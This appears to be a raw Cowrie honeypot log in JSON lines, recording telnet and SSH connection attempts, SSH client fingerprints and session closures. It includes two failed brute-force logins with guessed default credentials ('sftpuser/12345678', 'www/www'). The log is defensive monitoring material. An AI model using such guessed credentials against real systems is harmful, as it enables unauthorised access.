{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52696,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dcbed6143c2","protocol":"telnet","message":"New connection: 41.76.108.55:52696 (159.203.135.109:23) [session: 8dcbed6143c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:21.398134Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":35564,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b73dfa052fa","protocol":"ssh","message":"New connection: 103.13.206.208:35564 (159.203.135.109:22) [session: 9b73dfa052fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:21.664327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:21.668998Z","src_ip":"103.13.206.208","session":"9b73dfa052fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:21.921066Z","src_ip":"103.13.206.208","session":"9b73dfa052fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d85e5f3f22","protocol":"telnet","message":"New connection: 41.76.108.55:58902 (159.203.135.109:23) [session: 19d85e5f3f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:22.903781Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"12345678","message":"login attempt [sftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:23.106481Z","src_ip":"103.13.206.208","session":"9b73dfa052fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61724042892456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:24.259667Z","src_ip":"41.76.108.55","session":"d9dbc047b74d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:24.361805Z","src_ip":"103.13.206.208","session":"9b73dfa052fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34751605987549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:25.342162Z","src_ip":"41.76.108.55","session":"71b9ce61ad21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124864101409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:26.222874Z","src_ip":"41.76.108.55","session":"a3fe0b6cd158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729065656661987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:26.559279Z","src_ip":"15.204.204.191","session":"421abe6b34c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d4af982107","protocol":"telnet","message":"New connection: 41.76.108.55:44562 (159.203.135.109:23) [session: b8d4af982107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:26.566327Z"}
{"eventid":"cowrie.session.closed","duration":31.00266933441162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:27.133785Z","src_ip":"41.76.108.55","session":"76775e47a51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"25365fbff53c","protocol":"telnet","message":"New connection: 15.204.204.191:50760 (10.17.0.5:23) [session: 25365fbff53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:27.929955Z"}
{"eventid":"cowrie.session.closed","duration":30.410832405090332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:28.152273Z","src_ip":"41.76.108.55","session":"be61bd2b9d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038248300552368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:28.156868Z","src_ip":"41.76.108.55","session":"6b15e65aeaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723804473876953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:28.190675Z","src_ip":"41.76.108.55","session":"27f779caa77e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792542219161987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:28.198537Z","src_ip":"41.76.108.55","session":"709ddca1bea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa922b27de4d","protocol":"telnet","message":"New connection: 41.76.108.55:51198 (159.203.135.109:23) [session: aa922b27de4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:28.248679Z"}
{"eventid":"cowrie.session.closed","duration":31.295889854431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:29.454031Z","src_ip":"41.76.108.55","session":"e78b742e1d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449350357055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:30.149665Z","src_ip":"41.76.108.55","session":"1cc17ec7e0b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180033922195435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:32.728589Z","src_ip":"15.204.204.191","session":"73e175c269e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcd25a75cf95","protocol":"telnet","message":"New connection: 41.76.108.55:42372 (159.203.135.109:23) [session: fcd25a75cf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:33.124794Z"}
{"eventid":"cowrie.session.closed","duration":30.650360345840454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:34.129878Z","src_ip":"41.76.108.55","session":"de17d07e9af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49546,"dst_ip":"159.203.135.109","dst_port":23,"session":"83947766ccf9","protocol":"telnet","message":"New connection: 41.76.108.55:49546 (159.203.135.109:23) [session: 83947766ccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:34.950348Z"}
{"eventid":"cowrie.session.closed","duration":31.16765308380127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:35.135543Z","src_ip":"41.76.108.55","session":"b4ba10abe5bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067326068878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:35.150501Z","src_ip":"41.76.108.55","session":"14834250884c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64475727081299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:35.156656Z","src_ip":"41.76.108.55","session":"e40eca16e9c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36258101463318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:36.045578Z","src_ip":"41.76.108.55","session":"b5271fdd8517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56944,"dst_ip":"159.203.135.109","dst_port":23,"session":"af388201270a","protocol":"telnet","message":"New connection: 41.76.108.55:56944 (159.203.135.109:23) [session: af388201270a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:36.942255Z"}
{"eventid":"cowrie.session.closed","duration":31.266947746276855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:37.125638Z","src_ip":"41.76.108.55","session":"a336b759ba02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273120164871216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:37.164606Z","src_ip":"41.76.108.55","session":"36b6734e4d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58796,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea4cc5d5cb9","protocol":"telnet","message":"New connection: 41.76.108.55:58796 (159.203.135.109:23) [session: eea4cc5d5cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:37.416432Z"}
{"eventid":"cowrie.session.closed","duration":30.74152135848999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:41.023040Z","src_ip":"15.204.204.191","session":"490c10f377a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45950,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f522242b5b1","protocol":"telnet","message":"New connection: 41.76.108.55:45950 (159.203.135.109:23) [session: 2f522242b5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:41.136513Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46310,"dst_ip":"159.203.135.109","dst_port":23,"session":"01eb75f38034","protocol":"telnet","message":"New connection: 41.76.108.55:46310 (159.203.135.109:23) [session: 01eb75f38034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:41.224626Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35376,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ddd83acdcc","protocol":"ssh","message":"New connection: 122.168.114.167:35376 (159.203.135.109:22) [session: 57ddd83acdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:41.805033Z"}
{"eventid":"cowrie.session.closed","duration":31.26606273651123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:43.152457Z","src_ip":"41.76.108.55","session":"bb327824a374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618938207626343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:43.263339Z","src_ip":"41.76.108.55","session":"43d37e019ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264798879623413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.176581Z","src_ip":"41.76.108.55","session":"29f59e625853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457297801971436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.193182Z","src_ip":"41.76.108.55","session":"e4f230628b43","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.388695Z","src_ip":"122.168.114.167","session":"57ddd83acdcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.393254Z","src_ip":"122.168.114.167","session":"57ddd83acdcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59496,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6ecf62ff26","protocol":"telnet","message":"New connection: 41.76.108.55:59496 (159.203.135.109:23) [session: ca6ecf62ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.507162Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60792,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43c4bd2af09","protocol":"telnet","message":"New connection: 41.76.108.55:60792 (159.203.135.109:23) [session: b43c4bd2af09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:44.814714Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36026,"dst_ip":"159.203.135.109","dst_port":23,"session":"5748d3e830e2","protocol":"telnet","message":"New connection: 41.76.108.55:36026 (159.203.135.109:23) [session: 5748d3e830e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:45.698179Z"}
{"eventid":"cowrie.session.closed","duration":30.71329927444458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:46.142077Z","src_ip":"41.76.108.55","session":"df009d9d7f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722846269607544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:46.147334Z","src_ip":"41.76.108.55","session":"f495f693d279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.195327758789062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:47.163534Z","src_ip":"15.204.204.191","session":"dcc8079549d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952991247177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:47.203535Z","src_ip":"41.76.108.55","session":"fad76aad0ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47428,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1f68b22f60","protocol":"telnet","message":"New connection: 41.76.108.55:47428 (159.203.135.109:23) [session: ae1f68b22f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:48.463397Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59638,"dst_ip":"159.203.135.109","dst_port":23,"session":"90859e400ffd","protocol":"telnet","message":"New connection: 41.76.108.55:59638 (159.203.135.109:23) [session: 90859e400ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:51.520868Z"}
{"eventid":"cowrie.session.closed","duration":30.804445266723633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:52.202466Z","src_ip":"41.76.108.55","session":"8dcbed6143c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037242889404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:52.232139Z","src_ip":"41.76.108.55","session":"bcf4b4ee0d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":38708,"dst_ip":"159.203.135.109","dst_port":22,"session":"819f8150fc1d","protocol":"ssh","message":"New connection: 159.223.45.177:38708 (159.203.135.109:22) [session: 819f8150fc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:53.879776Z"}
{"eventid":"cowrie.session.closed","duration":31.27977991104126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:54.183438Z","src_ip":"41.76.108.55","session":"19d85e5f3f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"7856ef2fa680","protocol":"telnet","message":"New connection: 41.76.108.55:41690 (159.203.135.109:23) [session: 7856ef2fa680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:54.358612Z"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:54.453508Z","src_ip":"122.168.114.167","session":"57ddd83acdcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":47310,"dst_ip":"10.17.0.5","dst_port":23,"session":"de4653ea0dbe","protocol":"telnet","message":"New connection: 15.204.204.191:47310 (10.17.0.5:23) [session: de4653ea0dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:56.423666Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:56.675747Z","src_ip":"159.223.45.177","session":"819f8150fc1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.567045211791992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:57.133282Z","src_ip":"41.76.108.55","session":"b8d4af982107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54922,"dst_ip":"159.203.135.109","dst_port":23,"session":"01fa1f7c438b","protocol":"telnet","message":"New connection: 41.76.108.55:54922 (159.203.135.109:23) [session: 01fa1f7c438b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:57.633960Z"}
{"eventid":"cowrie.session.closed","duration":30.131781578063965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:58.061534Z","src_ip":"15.204.204.191","session":"25365fbff53c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:58.545043Z","src_ip":"122.168.114.167","session":"57ddd83acdcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88387441635132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:59.132415Z","src_ip":"41.76.108.55","session":"aa922b27de4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":56362,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f452bd5f61","protocol":"ssh","message":"New connection: 210.114.22.126:56362 (10.17.0.5:22) [session: d2f452bd5f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:03.121355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:03.126282Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:03.325307Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8637058d7ca7","protocol":"telnet","message":"New connection: 41.76.108.55:50698 (159.203.135.109:23) [session: 8637058d7ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:03.337558Z"}
{"eventid":"cowrie.session.closed","duration":31.103031873703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:04.227669Z","src_ip":"41.76.108.55","session":"fcd25a75cf95","protocol":"telnet"}
